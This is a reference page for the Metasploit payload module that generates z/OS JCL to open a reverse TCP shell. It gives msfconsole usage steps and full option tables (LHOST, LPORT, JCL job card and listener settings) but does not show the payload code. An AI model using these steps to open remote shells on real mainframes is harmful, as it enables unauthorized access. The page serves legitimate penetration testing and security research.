Z/OS (MVS) Command Shell, Reverse TCP - Metasploit


This page contains detailed information about how to use the payload/cmd/mainframe/reverse_shell_jcl metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Z/OS (MVS) Command Shell, Reverse TCP
Module: payload/cmd/mainframe/reverse_shell_jcl
Source code: modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb
Disclosure date: -
Last modification time: 2021-01-05 14:59:46 +0000
Supported architecture(s): cmd
Supported platform(s): Mainframe
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Provide JCL which creates a reverse shell This implementation does not include ebcdic character translation, so a client with translation capabilities is required. MSF handles this automatically.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/cmd/mainframe/reverse_shell_jcl
msf payload(reverse_shell_jcl) > show options
    ... show and set options ...
msf payload(reverse_shell_jcl) > generate

To learn how to generate payload/cmd/mainframe/reverse_shell_jcl with msfvenom, please read this.

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Msfconsole Usage

Here is how the cmd/mainframe/reverse_shell_jcl payload looks in the msfconsole:

msf6 > use payload/cmd/mainframe/reverse_shell_jcl

msf6 payload(cmd/mainframe/reverse_shell_jcl) > show info

       Name: Z/OS (MVS) Command Shell, Reverse TCP
     Module: payload/cmd/mainframe/reverse_shell_jcl
   Platform: Mainframe
       Arch: cmd
Needs Admin: No
 Total size: 8993
       Rank: Normal

Provided by:
  Bigendian Smalls

Basic options:
Name      Current Setting       Required  Description
----      ---------------       --------  -----------
ACTNUM    MSFUSER-ACCTING-INFO  yes       Accounting info for JCL JOB card
JCLASS    A                     yes       Job Class for JCL JOB card
LHOST     0.0.0.0               yes       The listen address (an interface may be specified)
LPORT     4444                  yes       The listen port
MSGCLASS  Z                     yes       Message Class for JCL JOB card
MSGLEVEL  (0,0)                 yes       Message Level for JCL JOB card
NOTIFY                          no        Notify User for JCL JOB card
PGMNAME   programmer name       yes       Programmer name for JCL JOB card

Description:
  Provide JCL which creates a reverse shell This implementation does 
  not include ebcdic character translation, so a client with 
  translation capabilities is required. MSF handles this 
  automatically.

Module Options

This is a complete list of options available in the cmd/mainframe/reverse_shell_jcl payload:

msf6 payload(cmd/mainframe/reverse_shell_jcl) > show options

Module options (payload/cmd/mainframe/reverse_shell_jcl):

   Name      Current Setting       Required  Description
   ----      ---------------       --------  -----------
   ACTNUM    MSFUSER-ACCTING-INFO  yes       Accounting info for JCL JOB card
   JCLASS    A                     yes       Job Class for JCL JOB card
   LHOST     0.0.0.0               yes       The listen address (an interface may be specified)
   LPORT     4444                  yes       The listen port
   MSGCLASS  Z                     yes       Message Class for JCL JOB card
   MSGLEVEL  (0,0)                 yes       Message Level for JCL JOB card
   NOTIFY                          no        Notify User for JCL JOB card
   PGMNAME   programmer name       yes       Programmer name for JCL JOB card

Advanced Options

Here is a complete list of advanced options supported by the cmd/mainframe/reverse_shell_jcl payload:

msf6 payload(cmd/mainframe/reverse_shell_jcl) > show advanced

Module advanced options (payload/cmd/mainframe/reverse_shell_jcl):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   JOBNAME                     DUMMY            yes       Job name for JCL JOB card
   NTFYUSR                     false            yes       Include NOTIFY Parm?
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

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See Also

Check also the following modules related to this module:

Authors

Bigendian Smalls

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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